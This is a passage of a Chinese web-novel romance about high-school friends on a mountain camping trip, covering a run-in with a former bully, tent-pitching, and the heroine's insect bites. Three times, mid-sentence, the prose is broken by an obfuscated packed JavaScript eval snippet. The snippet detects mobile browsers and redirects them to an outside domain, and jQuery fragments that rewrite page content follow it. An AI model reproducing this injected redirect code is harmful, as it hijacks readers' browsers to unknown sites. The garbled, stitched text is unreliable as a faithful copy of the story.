祁弈悠然地说:“正常两个半小时,你想早点到吗?”
苏杳心猜他的意思:“不用,让司机师傅正常开就好,安全重要。”
祁弈嗯了声,说:“如果不急的话,我之前跟师傅说不走环路,这样能经过一片野山茶花地,风景很漂亮。”
司机师傅声音愉快地接话:“小祁说的那条路我之前走过一次,只比走环路慢了十多分钟吧,还不堵车,出来玩的话,我也建议走那边。”
“好呀!”秦晓棠很开心:“杳杳咱们就走花地那边吧,我正想路上拍拍风景,做个vlog呢。”
苏杳心也期待,看向祁弈:“那就按你安排的走吧。”
决定好路线,秦晓棠给她发消息:[杳杳,他好会玩呀,旅游连路上风景也考虑这么周到!]
秦晓棠:[你要不考虑一下,真把这哥拿下呀!]
连秦晓棠都入戏了。
苏杳心很有自知之明:[你太看得起我了,我哪会追人。]
当车驶入路上那片山茶花地,这次旅行有种兜风的惊喜,苏杳心也忍不住拿手机录了下来。
白色与粉色相间的野山茶花树,映
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653079|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入眼中极为浪漫,吹来的风里都染上了淡雅的香气。
只可惜这条路不允许停车,不过见过这么美的沿途景色,苏杳心已经很满足。
她忍不住发了朋友圈,祁弈第一个点的赞。
出了山茶花地,车子一路开向小悠山,视野中逐渐被一片片绿意占满。
目的地在山腰,还要走一段山路,经过在山脚下的休息点,大家下车稍作休息。
休息点有一些小吃摊,还有一个网红风格的咖啡厅,秦晓棠去烤肠摊那边排队,段南和她一起,苏杳心去买咖啡。
咖啡厅里人不少,即使景区咖啡稍贵,还是有很多年轻人在买。
祁弈在手机里下单,问她喜欢喝什么,苏杳心要了香橙拿铁,见他之后又下单六杯,应该是给司机也带了一杯。
她抬头说:“咖啡的钱,还有这几天吃饭的花费之后大家会AA,我会记着的。”
祁弈似笑非笑:“这点小事,记着累不累?”
“你好好玩就好。”
话音落,下好单的手机忽然响了,咖啡厅里声音有点吵,还有小孩子玩闹的声音,祁弈低眸看她:“你先自己等一会儿,我去接个电话。”
苏杳心:“嗯。”
等他离开,站在咖啡厅门口,脸色一直不太好的段北走了过来。
“喂,我跟你说,你得小心点儿祁弈这家伙。”
苏杳心奇怪:“为什么?”
“你没觉得他很像海王吗?”
段北盯着那边的身影,“这么会带女孩子玩,一看就是个有经验的!”
苏杳心:“旅游安排的妥帖,就要被怀疑吗?”
她语气认真:“祁弈他人很好,你别乱说他。”
话音刚落,忽然咖啡厅另一边传来有人骂骂咧咧的声音,很是刺耳。
“艹!我就跟那女的就睡了一次,他妈的怀的是谁的种还不一定呢!想让老子拿这钱,做梦!”
声音来自一个年轻男人,黑半袖花臂,一边眉毛有条疤,边打电话边喝了咖啡。
“啧,他妈的破咖啡,难喝还贵!”
这人嗓门很大,直接从排队的人群里横穿,一个排队的小姑娘害怕地给他让路。
段北和苏杳心看向那人时,都愣了一下。
段北:“呵,这不是……曹彭那小子!”
苏杳心也认出来,这个人之前是隔壁七中的学生,半个社会少年,比她大两届。
高一时苏杳心被他骚扰过两次。
第一次她被堵在小巷里,那会儿年纪小,她当时吓坏了,幸好被一个下班路过的叔叔看见,帮了她。
第二次是她在放学那天,她哥哥来接她,欲意尾随她的曹彭便没得逞。
曹彭家里有点背景,苏明哲找到七中的老师,也是只口头批评了曹彭。
不过那之后没多久,就听说曹彭好像出了事,人被打进了医院,还被学校以霸凌同学开除,再后来听说他搬了家。
苏杳心便再没见过他。
段北瞧着那边仍然一副小混混样的曹彭,呸了一声:“真是晦气!竟然遇见他了。”
随后他看见曹彭往门口走,经过落地窗那边时看见少年的身影,脚步顿住。
“操,祁弈?”曹彭电话挂了,一副震惊地走了过去。
“真是好久不见呐……”
段北睁大眼:“他们,这是认识?他不会和祁弈是朋友吧!?”
苏杳心望着那边,少年手机搁在耳边,听见有人叫他,面无表情地掀起眼皮看了一眼。
“068号顾客的咖啡好了,请取餐。”
苏杳心应了声,转身去拿咖啡,服务员小姐姐太忙,前台糖包用完,几杯咖啡都忘记加糖,抱歉地让她稍等,去里间拆开一盒回来装进咖啡纸袋中。
这么一会儿的功夫,她回头时,落地窗那边只剩下祁弈高大冷淡的身影。
苏杳心目光一瞥,看见咖啡厅门口正往垃圾桶里扔咖啡的曹彭,他脸色很不好,像是憋着气,又像忍着脾气不敢发,只咬牙切齿地朝垃圾桶踢了一脚。
苏杳心收回目光的同时,人拎着咖啡,被段北气势汹汹地拽着走。
祁弈在落地窗前,背着光,望着他们走过来。
段北站在离他一米的对面,质问道:“你和曹彭认识?”
“我告诉你,那混蛋欺负过苏杳心!你如果和他是朋友,你别和我们一起了,”段北态度很差:“我们不欢迎人渣的朋友!”
咖啡厅里喧哗,却能听见少年嗤笑了一声。
他语气轻蔑:“朋友?”
说话间祁弈走近,倾身拎过苏杳心手中的咖啡,低眸看她。
他声音低而清晰:“我和那家伙有过节,永远不会是朋友。”
7. 入梦
不论祁弈和曹彭是不是朋友,苏杳心也不会撵他走。
但听见他的话,她望着少年黑漆漆的眸子,略意外:“你和他也有过过节?”
她记得一中和七中好像离的很远。
“嗯,”祁弈眸色深邃,“他欺负过我在意的人。”
落地窗外照进大片阳光,他的语气却在夏日多出一丝隐隐的冷意,不过一瞬间消散。
祁弈提起手里的咖啡,看了眼,把其中一杯递给她,“这杯是你的。”
“咖啡加橙汁好喝吗?”他扬眉问。
苏杳心被他刚刚一晃而过的严肃怔了下,见他此时散漫的神色,她接过咖啡,轻轻一笑:“好喝的。”
苏杳心忽地握着咖啡,又递给他,“要不我和你换,你尝尝看?”
祁弈笑了下,“下次吧,我的是冰美式不加糖,你可能不喜欢。”
她还真喝不了冰美式的苦。
苏杳心点点头,吸管插进咖啡中。
一边的段北瞧着这一幕,还没反应过来,这话题怎么就被突然揭过去了?
见他们俩要走,段北忙叫住:“哎,等会儿!”
不过祁弈已经说不是朋友,他也不能再撵人,段北语气硬生生:“你刚才说曹彭那混蛋也欺负过你朋友,那你知道他后来被人揍的挺惨的事儿么?”
祁弈看他,没说话。
段北抱起手,好心告诉他:“曹彭那小子恶人有恶报,坏事做多了即使家里有点能耐又能怎样,总有更厉害的人能收拾他!”
“他那会儿挺混的,七中没有能打得过他的,但他后来被一个外校的学生给打了,揍的惨极了!听说在医院整整躺了一个月呢!”
“这还不止,后来伤刚养好,就被人收集到他霸凌同学的证据和人证,那些被欺负的学生团结起来,一起把他告到了校长处,还上了媒体。”
段北连讲起来,都觉得爽:“当时不仅曹彭被学校开除,连他那个学校教务主任的爸,也因为包庇过他一起被开了!”
说到这儿,段北抬下巴瞥着祁弈:“所以呢,你朋友被他欺负过这事,你也不必太记仇了,该解气了。”
听他一通说完,祁弈平静地哦了声,目光一挪,又看向苏杳心。
他轻声问:“那你呢,解气了吗?”
苏杳心睫毛动了一动,随后早已事过境迁地笑笑:“解气了,但其实我也没一直记着这事。”
她不喜欢回忆不好的事和人,多想一秒都是浪费自己本该享受美好的时间。
祁弈盯着她几秒,嗯了声。
段北一脸懵愣。
这个祁弈,他好心告诉他曹彭遭了报应,竟然不跟他说一声谢谢,还总是找苏杳心说话!
见他们往外走,段北撇嘴地跟了上去。
咖啡厅门被推开,悬挂的小铃铛响起一阵的叮铃声。
叮铃铃。
叮铃铃。
阳光明媚,路边草地开着一簇簇白色的小野花,两只黄色小蝴蝶在花间追逐,轻盈飞过。
苏杳心眉眼弯弯,“黄色的蝴蝶,很少见呢。”
祁弈在她身边,也笑:“确实很少见。”
段北嘟囔:“早知道不下车了,就不会碰见曹彭!”
苏杳心喝口清甜的香橙拿铁,朝山上方向仰望。
语气轻快:“不知道山上还有没有这种小蝴蝶,绕在帐篷旁边飞,一定很美。”
祁弈:“山上如果有野花,应该就会有蝴蝶。”
后面段北自言自语地啧了声:“真是的!想起曹彭那家伙就烦,那张脸还是那样讨人厌!”
祁弈走了两步,停下来。
他回头瞥了一眼。
段北和他对视,一时怔怔。
随后听他开口。
“你鞋带开了。”
段北刚要低头看,又见他把左手的几杯咖啡提起,“咖啡喝吗?”
段北一顿,拿一杯过来,刚想好意地说谢谢,便听祁弈低低淡淡的嗓音:“喝咖啡嘴就歇一会儿,别说话了。”
“……”
少年扔下这话,抬脚两步跟上苏杳心,和她并肩。
段北反应过来后,睁大眼睛,他!竟然嫌他话多!!!
他凭什么嫌他话多!苏杳心都没嫌弃过他!!
“……”
回到车里,秦晓棠和段南已经买了脆皮烤肠回来,给大家分,秦晓棠边吃边奇怪:“为什么我觉得景区的烤肠,总比别的地方的好吃呢?”
苏杳心笑眯眯的:“因为心情好吧。”
风景好,心情好,吃的东西也会变得更美味。
她咬了一口烤肠,看向副驾驶的男生。
祁弈在喝咖啡,深棕色的液体在冰块中,一看苏杳心就感觉自己舌根透着丝丝的苦意。
想起高二周末有次去书店刷卷子,她第一次尝试冰美式的口感。
秦晓棠说她整张小脸都皱到了一起。
还给她拍了下来。
苏杳心想想就觉得好笑。
她目光轻轻地抬起,落在男生鸭舌帽下的漆黑发尾,眨了下眼。
半山腰的风景秀丽,天空湛蓝,空气清新,阳光也不算过于灼热。
行李拿下车,司机师傅祝她们玩的开心,约着后天上午来接他们,道别后开车下了山。
适合露营的草地那边已经有两个扎好的白色帐篷,游玩的旅客此时没在里面,不远处有露营的小商店,商店不小,卖的水果食物还挺多,可以烧烤的小烤架也有,苏杳心和秦晓棠先去逛了圈,买了一个西瓜,让老板放冰箱冰镇一会儿。
回来时,男生们在扎帐篷,祁弈选了一片长小野花的草地,正在弄她的帐篷。
苏杳心在网上看过扎帐篷教程,她走过去,见祁弈扎帐篷似乎很有经验,动作干脆利落,修长有力的手指灵巧地支开帐杆,她咽回了要一起搭帐篷的话。
好奇地问:“你以前露营过吗?”
祁弈回头,说:“没有,但住过帐篷。”
苏杳心啊了声,“那辛苦你了,一会儿我和棠棠给你们做午餐。”
祁弈点头:“好。”
苏杳心目光又看了眼他露在外面的发尾,问他:“你戴帽子方便吗,要不要我帮你拿着?”
祁弈将帐杆穿入内账布,侧头看她,“不碍事,很快就能搭好。”
苏杳心只好嗯了声,她站在他旁边,一时也帮不上忙,转身去行李箱那边拿上折叠的小桌和小马扎,在平坦的草地摆好,准备做三明治。
秦晓棠抱着保鲜盒去洗西红柿,苏杳心坐着小马扎,在想怎么能让他摘帽子呢……
她手里切火腿,不时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653080|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都要看一眼在忙的祁弈。
午时的阳光渐渐多了几分炎热,算了,人家戴帽子就是遮阳的,还是别惦记让他摘了。
苏杳心低头,专心切了会儿火腿片。
倏然一道阴影将她笼罩,随后,一顶帽子被戴在她头上。
她一怔,抬起头。
祁弈稍弯腰,拨了拨稍稍被压的额发,朝她微微一笑。
“有点热,别晒到了。”
话落他转身,又走向了帐篷扎地。
倏尔的风吹过,帽子上带着淡淡的柑橘清香,应该是染了他发上的味道。
苏杳心怔怔地看着少年半蹲在草地,继续扎帐篷的背影,反应过来后,她摸了摸头上对于她有点大的鸭舌帽。
这算得来全不费功夫了么。
苏杳心轻轻弯唇,随后摘掉一次性手套,趁这时机举起手机,对着祁弈的侧影拍了一张。
少年黑发茂密,发丝在阳光下依然是纯正的黑色,只有发梢染了点光晕。
照片里,他低垂眼,专注手里的事情,后颈肤色冷白,用力下帐篷地钉时,少年侧颈绷起的线条满是荷尔蒙张力。
苏杳心睫毛颤了下。
过几秒后,悄悄把照片保存好。
她微微喘了一口气,太阳好像越来越晒了,好热。
切好火腿,秦晓棠还没回来,苏杳心摘下手套,看见段北那边的帐篷一半还没扎好。
段南昨晚据说吃鱼手被鱼刺扎了,所以把帐篷丢给段北自己弄,此时,他那边的帐篷却扎得歪歪斜斜的。
苏杳心操着心,起身过去想帮帮忙。
“这个钉子是不是扎错了?”她弯腰琢磨着。
段北抬头,见她皱眉的样子,忽地冒出一股好胜心:“没有,我会扎帐篷,不用你管,你去歇着吧!”
他说话间,有一颗钉子没钉住,好不容易弄好的帐篷一角塌了下来。
“……”
一道笑声响起,清冽,又略微爽朗。
段北皱眉看向这笑声的来处。
苏杳心也回头,看见不知何时过来的祁弈。
他似乎真觉得好笑,抱着双手,胸膛震动着又笑了两下,低头看苏杳心,嘴角翘了翘,似乎很认真地在问她。
“他这么笨,从小到大,没考虑过换一个发小吗?”
苏杳心:“……啊?”
段北:“……………”
!!!
!!!!!!
段北正要发作,想说这是他第一次搭帐篷!谁!能!第一次搭!就搭的很好啊!!
没等开口呢,苏杳心呵呵笑了笑,“段北是有点笨,但,还真没考虑过。”
段北听见这话依然不太高兴,谁笨了!!
下一秒却惊讶地发现,苏杳心在戴着祁弈的帽子……
而且柔顺的马尾从帽子后孔拿出来,虽然尺寸不对,但被苏杳心戴得妥妥帖帖的。
段北一皱眉:“你怎么戴他的帽子呢!”
祁弈接了话:“晒。”
热风吹过脸边,苏杳心看向笑意悠悠的祁弈,她温声问:“你怎么过来了?”
“你的帐篷扎好了。”
祁弈高大的身影罩着她,眉宇间是清冽少年气,他说:
“但我的帐篷有点复杂,过去帮帮我么?”
8. 入梦
阳光晒过的草地,空气漂浮温热的清香。
一只白色小蝴蝶,一颤一颤地飞过,落在少年黑发上,停歇几秒,又扑扇翅膀飞走。
“地钉。”
祁弈伸出掌心。
苏杳心把一根带勾的铁钉放到他手心。
帐篷是他一个人住,却是双人帐篷,里面空间很大而且带天幕,刚好可以遮阳。
苏杳心:“你的帐篷好舒适,还可以坐在阴凉下吃东西。”
祁弈抬眸,“你也可以在我这儿吃东西。”
他盯着苏杳心帽子下巴掌大的小脸,一条胳膊搭在膝盖,“我看你带了野餐布,等会儿铺在我的帐篷前。”
苏杳心眼眸清凌凌的,“好,那就借你的光啦。”
白色小蝴蝶饶了一圈飞回,又落在少年发上。
苏杳心瞥见,猜想是因为他的洗发水味道很好闻,所以招了蝴蝶。
祁弈见她翘起的嘴角,悠悠问:“笑什么?”
苏杳心轻轻一指:“你头上有只蝴蝶,好像把你当成了一朵花。”
祁弈脑袋稍稍动了动。
小蝴蝶受惊一动,扇扇翅膀,飞走了。
他敛眼一笑:“哪有黑色的花,应该是飞累了,到我头上歇一会儿。”
苏杳心手托腮,视线中是少年清俊无双的面容,又小蝴蝶不一定是被气味吸引,她心思脱口而出:“它看的不一定是头发,可能是你的脸。”
四目相对,他眼尾天生微扬,所以有种干净的锐利,此时锐利收敛,更多是温和。
长长的眼睫稍垂,一瞬不移地在看她。
苏杳心不是第一次表达过对他外貌的欣赏,甚至第一次遇见,还要了他微信。
他又不笨,这点应该心知肚明。
怎么,还这样盯着她呢。
苏杳心微微低头,佯装继续干活,从地上捏起一颗钉子,塞到了他手心。
余光里,祁弈修长的手指微曲了曲,随后也往地上扎钉子。
一时间苏杳心和他都没说话,空气似乎漫上了一股微妙胶着。
忽然,一声低轻的笑,传入她的耳朵里。
仿佛后颈被一根羽毛挠了下,酥酥的。
让她忍不住缩了一下脖子。
她此时余光瞄着的地方,祁弈把一个钉子扎好,手却顿了顿。
似乎有什么不对。
下一秒,他又把那根钉子又拔了出来。
递给她。
“不是这根钉子,我扎错了。”
苏杳心反应过来,又把另一根递给他,“是我递错了,不好意思。”
祁弈:“不怪你,我也没发现。”
“……”
他低头,手上有条不紊地弄帐篷,手背上的青筋淡淡,用力时骨节泛白,依然没有说话的意思。
苏杳心无奈,把目光瞥向段北那边,看看他弄的怎么样了,来分散这股奇怪的胶着。
望过去几秒,帽檐被人轻轻敲了敲,苏杳心回头,对上祁弈直白看着她的目光。
她抿唇,“怎么了?”
祁弈嘴角牵了牵,很惬意的语气:“你得看着我点儿,不然我容易弄错。”
苏杳心眨了眨眼,“……哦,好。”
终于弄好这一角,他声音在苏杳心头顶低低落下:“走了。”
两个人挪到帐篷另一边。
呼吸过另一处的空气,苏杳心感觉那股胶着感似乎也好了些。
她聊起别的话题,“你之前说住过帐篷,是在家里搭的吗?”
祁弈住在云江公寓,家里条件应该很好,早上来的路上,秦晓棠在微信上跟她讨论他今天戴的腕表,黑色利落的运动款很有品味,秦晓棠在网上查过,价格在五位数呢。
苏杳心猜,他家里可能有足够的空间,可以用来搭帐篷住。
她握着小钉子,和祁弈一起蹲下来,看见他唇边散漫的弧度,“不是在家,多数在公园,和桥洞。”
她惊讶又好奇:“桥洞吗?那你住帐篷的经验好特别呢。”
祁弈:“嗯。”
苏杳心笑了笑:“有趣吗?住在桥洞。”
祁弈声音依然含着几分散漫:“还行,就是运气不好遇见流浪汉,会被抢帐篷。”
苏杳心愣了下,然后试图理解少年冒险的行为,她微微弯唇地琢磨:“那这种冒险的户外体验,只适合你们男孩子了。”
祁弈嗯了声,手中的扎钉牢牢订到地里,“确实。”
他抬眸笑了下:“女孩子还是不要体验的好。”
……
帐篷搭好,秦晓棠和段南也回来了,拎着冰镇西瓜和啤酒。
祁弈和段南把放行李的小帐篷也一并搭好,而后去了小商店的卫生间。
苏杳心准备铺野餐布,秦晓棠被一对情侣请帮忙拍照,这功夫儿,也去了小商店的段北自己回来。
见她自己一个人,很快过来。
“喂,我还是得提醒你,小心点儿祁弈那家伙。”
苏杳心头没抬,“又怎么了。”
段北刚刚去卫生间,不经意看见祁弈洗手时,捋起外套袖子的手臂有一条又深又长的疤。
他把这件事告诉苏杳心,她缓缓抬起头,“所以呢?”
段北知道这并不能代表什么,但他就是觉得祁弈这人不怎么对劲儿。
“他胳膊上的疤看着挺吓人,一定不是正常受伤弄的,像是和人打架留下的。”
苏杳心温声,但语气略严肃:“胳膊有疤,那是他受过的伤,凭这点就要对他小心么?”
苏杳心又问:“段北,你以前不会这样乱编排别人的,因为他说你笨?”
“……”
段北:“这只是原因之一,他凭什么说我笨,哼,当面说我坏话,你还想让我喜欢他?”
苏杳心:“可是你也说人家坏话了,还是在背后,至少祁弈比你坦荡。”
段北被苏杳心的偏心惹的心里更酸,干脆直接道:“你不觉得,祁弈那家伙对你有点居心不良吗!”
祁弈对她居心不良?
是她主动认识的祁弈,人也是她邀请一起来露营,再怎么看,都是她才是那个“居心不良”的人。
苏杳心斩钉截铁:“没有。”
段北很快又问:“那,那,那,你是对他有意思?”
苏杳心眼眸清懵,顿了下,说:“也没有啊。”
“那你也不喜欢他?”
苏杳心看着段北紧张的神色,轻轻笑了笑,“不喜欢。”
她说:“我只是想和他交个朋友,就是朋友而已。”
段北紧抿着唇,听见这话,嘴角渐渐松下来。
却半信不信的说:“切,我又不瞎。”
他那张脸多招你们小姑娘喜欢。
苏杳心听见段北嘀咕的那句不瞎,低头铺野餐布,“你别胡思乱想了,等露营回去,我会告诉你。”
午餐比较随意简单,苏杳心做的三明治,祁弈在小商店买了几份小吃,大家简单吃一顿。
下午苏杳心和秦晓棠去找漂亮的山林景色拍视频,做露营vlog,段北也要跟着,被秦晓棠拦住,说这是属于闺蜜俩的时间,叫他和段南他们玩去。
太阳渐渐下山,一片橘色的夕光笼罩在山间。
两个女孩子在夕光落尽时才归,秦晓棠还没拍够,但苏杳心想回来了。
回来时三个男生都在,不知道有没有去哪里玩,段北在帐篷里玩手机。
段南带了笔记本电脑,此时和祁弈一起在弄什么。
苏杳心目光落在男生身上。
他腿太长,坐在她带来的小马扎上显得伸展不开,但姿态却散漫,一手支着下颌,一手在笔记本上敲着。
淡橘色的夕光,落在他沉静淡然的脸上,不笑时,对凡事有种不在意的态度。
偏偏自身却是极为惹眼。
这时秦晓棠笑呵呵喊了一声我们回来啦。
祁弈抬起头,手中的键盘不敲了。
苏杳心拿着几枝采的小野花,走了过去。
祁弈起身,拎上一个快喝完的矿泉水瓶,“花很漂亮。”
他看了一眼花,又看她,“你坐,我去接水。”
段南见他要走,忙说:“祁弈,代码还没敲完呢……”
“放着没事。”
少年淡淡说一句,离开了。
秦晓棠好奇凑过去,“啥代码,你们在干嘛呢?”
段南脸上兴奋掩不住:“祁弈在给我演示一套杀病毒的程序。”
秦晓棠惊讶:“他还会这个?”
“岂止是会,”段南好学地盯着电脑里,“他做出过一个拦防程序,能拦截恶意的黑客入侵,还被银龙科技高价买走了呢!”
秦晓棠睁大眼睛:“这么牛?!”
银龙科技可是网络安全行业佼佼者,秦晓棠邻居家一个学霸哥哥,前年毕业进了这家企业,所以听说过。
“那卖了多少钱呀?”
“具体不知道,但出手一定不低,听说他们之前买下南大学生获奖的程序软件,给了七位数。”
“豁!”秦晓棠惊了。
苏杳心坐在小马扎,歪头看向电脑里密密麻麻的代码。
秦晓棠感慨:“瞧瞧,都是高中生,人家已经开始赚钱了,我还不知道能考上哪所学校呢,哎,人和人的差距啊。”
不远处被秦晓棠的感慨的人,不疾不徐地正走回来。
矿泉水瓶被做成简易小花瓶,接好水,被祁弈搁在苏杳心桌前,“给你插花用。”
苏杳心顿了顿,唇边漾笑:“谢谢。”
她把小野花放进去,段南拉着祁弈继续让他演示程序。
祁弈坐在苏杳心旁边的小马扎,没碰电脑,依然散漫地一手支下颌,另一手却伸向了小花瓶上方。
他手指拨了拨一朵杏黄小野花,拨得小花颤了颤。
悠悠道:“忽然累了,不敲了。”
也是,敲了一下午代码。
段南把电脑捧过来,自己又看一遍编程。
苏杳心在看那朵被拨得颤动的小野花,可怜兮兮的,莫名担心会拨第二下。
好在下一秒,他便收回了手。
祁弈:“玩得开心吗?”
苏杳心转头,“嗯,山腰的风景很漂亮,你们去哪玩了吗?”
“没有,”他支下颌地看她:“别处的风景一般,还不如在这儿等。”
苏杳心望一眼天边,“这边可以看见太阳落山,景色确实也不错。”
祁弈淡淡一笑,没继续这个话题,又问:“晚上吃什么?”
苏杳心下意识问他的意思:“你想吃什么?”
听她回问,祁弈眼眸微动,手放下,“我不挑食,什么都吃,看你。”
听他这么说,苏杳心提议今晚吃民宿老板家特色小悠山烤鱼,之前看过网友推荐,说民宿老板娘的烤鱼一绝。
她提议后,大家都没意见。
跟老板预定了两份烤鱼,又买了一打啤酒。
秦晓棠嘴甜,让老板多放些配菜,老板是个中年男人,家里的女儿在念高一,瞧着她想起自己家孩子:“放心,配菜一定足,你们这个年纪小姑娘太瘦了,得多吃点。”
秦晓棠开心地小跑回来,扑在苏杳心身上,“这个老板人太好了,他竟然说我瘦!”
苏杳心,“你本来就瘦啊。”
秦晓棠叹气,“关键是你太瘦了嘛,我就总觉得我不算瘦,尤其你这小细腰……”
说着还揉了一把,苏杳心怕痒,又笑又躲地扒拉她的手。
“杳杳,你好软呀……”
秦晓棠继续作乱,两个女孩闹了一会儿,没注意到身后何时过来的祁弈。
“我手要是再大点儿,一手掌就能握住你这小腰,嘻嘻……”
“好了好了,别闹了……”苏杳心眼泪都被她痒出来了。
忽然听见一声轻咳,两个人都愣下,回过头。
祁弈微勾起唇,装作没听见也没看到地越过她们,“怕你们不喜欢酒,我买了椰汁。”
有男生在,秦晓棠老实了,笑嘻嘻地:“你买的正好,杳杳她酒量不行,得给她喝果汁。”
苏杳心还处在玩闹被撞见的略微不自然,一抬眸,就见祁弈坐在她面前。
他似随口一问:“酒量不行?”
苏杳心抿了抿唇,“就,只喝过一次,也不能说不行……”
秦晓棠听她不承认,忍不住把上次苏杳心醉酒的状态吐露出来,“你一小瓶啤酒就倒了,还觉得能行?”
秦晓棠转头看对面,“我跟你说,我家杳杳醉了特别可爱。”
祁弈挑眉:“是吗,怎么个可爱法?”
秦晓棠:“别人喝醉都是闹人话多,她呢,喜欢抱着人亲,哈哈哈!”
祁弈愣了愣。
秦晓棠很快替她姐妹的名誉解释:“不过她不抱男生亲,只挑女生,上次也就抱了我和我同桌一女生。”
“然后第二天醒了,我们问她为什么醉了会想亲人,你猜她说什么?”秦晓棠噗嗤一笑:“她说不知道,就记得昨晚啃的芋头特别香。”
“她把我当芋头了,哈哈哈。”
苏杳心扶额:“……”
这丫头怎么什么都往外说。
她闭了闭眼,再一睁开,对上祁弈打量她的目光。
他饶有意味地问:“很喜欢吃芋头?”
苏杳心睫毛一眨,硬着头皮聊:“……对啊,芋头多好吃,呵呵。”
说完她低头抠小手,脚在桌下轻轻踢了下秦晓棠,发现秦晓棠没反应,再一看,发现踢错了人。
她踢了祁弈。
“……”
祁弈拿椰汁的手顿了下,似笑非笑地递给她。
“……”
民宿老板的烤鱼烤好,她们又搭一个折叠小桌,老板多送了两碟卤味小菜,摆满了桌。
烤鱼加了很多配菜,味道很香,鱼肉也外焦里嫩,果然值得一尝。
苏杳心吃鱼比较精细,一小块鱼肉也要仔细挑出小毛刺,吃的速度很慢,祁弈在她旁边,吃东西也慢条斯理的,吃相很好。
相比他们,对面的秦晓棠和段北像是饿了好几顿,两人都喜欢吃鱼尾,几乎在抢着吃。
苏杳心习惯他们俩吃饭的样子,不过此时有祁弈在,她有那么点不好意思,她侧头笑了笑:“他们吃东西比较活泼,你别介意。”
祁弈轻轻扬眉:“我没什么介意的,又没来抢我的。”
也是,苏杳心和他一起吃一份,她和祁弈的吃饭习惯,当然抢不起来。
段南夹了一片藕片,在吃饭时第三次问祁弈一些关于白帽黑客的问题。
相处一天,苏杳心发现祁弈好像不会在吃饭时说太多话,很有教养,但也会认真回答段南好奇的问题。
苏杳心也偶尔听听,在她伸手去夹桌上的一碟小菜时,祁弈声音忽然停住。
而后一惊。
“这里怎么了?”
苏杳心的手腕被他握住,轻轻一扯,带到他眼前。
祁弈低眸盯着她细白小臂上的一个红色疙瘩。
苏杳心注意到,无所谓地笑了笑,“蚊子咬的吧,没事,等会儿喷点花露水就好。”
祁弈沉默片刻,握着她的手腕的手慢慢松开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653081|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦晓棠嘴里含着鱼肉,放下筷子,含糊地说:“花露水在我包里,我这就去给你拿。”
喷过花露水,继续吃饭。
晚饭后,几人收拾着餐后垃圾,祁弈送烤鱼盘经过苏杳心身边,低头看她:“你跟我一起。”
苏杳心端着小蝶子,“哦,好。”
到了民宿一楼,把餐具还给老板,祁弈把苏杳心拉过来,握起她手臂,“老板,帮看一下,这好像不是一般蚊子咬的。”
祁弈:“之前有别的游客被山上的虫子咬过吗,有毒吗,您知道有什么好用的药吗?”
苏杳心之前没太仔细看这个包,此时已经大了一倍,有渐肿的趋势,看起来确实不像蚊子包。
老板瞅了眼,“哦,这个是山里的虫子咬的,一到夏天就有游客被咬,虫子没什么毒不严重,就是被咬之后一开始不痒,过后会越来越痒。”
老板笑道:“ 不过没事哈,我这有止痒药,涂上就见效。”
老板转身就去一楼的房间里找药。
苏杳心目光从老板背影,挪到男生的侧脸,“我都没发现不是蚊子咬的。”
祁弈低头,微敛眼:“吃饭的时候,这个包有点肿,但你一下也没有挠。”
他目光又一低,“膝盖那里也被咬了一个。”
苏杳心一怔,提起裙摆低头看一眼,确实有一个一样的小肿包。
因为不痛不痒,她一直没有发现。
这时候老板从房间出来,走到前台拿电话拨号码,“哎呦真不巧,那个药用没了,不过我侄子在山下进货呢,正好让他带药回来。”
老板说:“你们得等一会儿,他大概九点多才能到山上。”
苏杳心微笑:“好,那麻烦您了。”
从民宿出来前,祁弈加了老板的微信。
回去后,秦晓棠重新铺了一块厚点的野餐布,摆了几副扑克牌。
苏杳心过去玩斗地主,祁弈不想玩,段南见他不玩,去帐篷里抱了电脑出来。
段南:“下午的程序再敲几段呗?你讲的很清楚,但我还是想亲眼见识一下你说的那个bug反入侵。”
祁弈提上一个小马扎,嗯了声,走到苏杳心身后,侧身坐下。
他长腿一伸,电脑放在腿上,目光轻轻扫了眼女孩裙摆下落出的细白膝盖。
九点的时候,祁弈离开了一会儿。
九点半,又离开了。
苏杳心作为地主赢了一把,胳膊上开始渐渐发痒。
她回头想问问祁弈,老板有没有微信,发现人不在。
没多会儿,祁弈回来。
已经临近十点钟,苏杳心她们已经收拾好野餐布,准备去洗漱休息。
看见他的身影,苏杳心问他,“老板那边的药到了吗?”
“老板侄子的车灯坏了,上山的路有一段没有路灯,今晚回不来,要明早才能回来,”祁弈低眉问:“要睡了吗?”
“嗯。”苏杳心点头:“既然药等不到了,你也早点休息。”
她笑了笑:“晚安。”
祁弈背着月光,嗯了声,“晚安。”
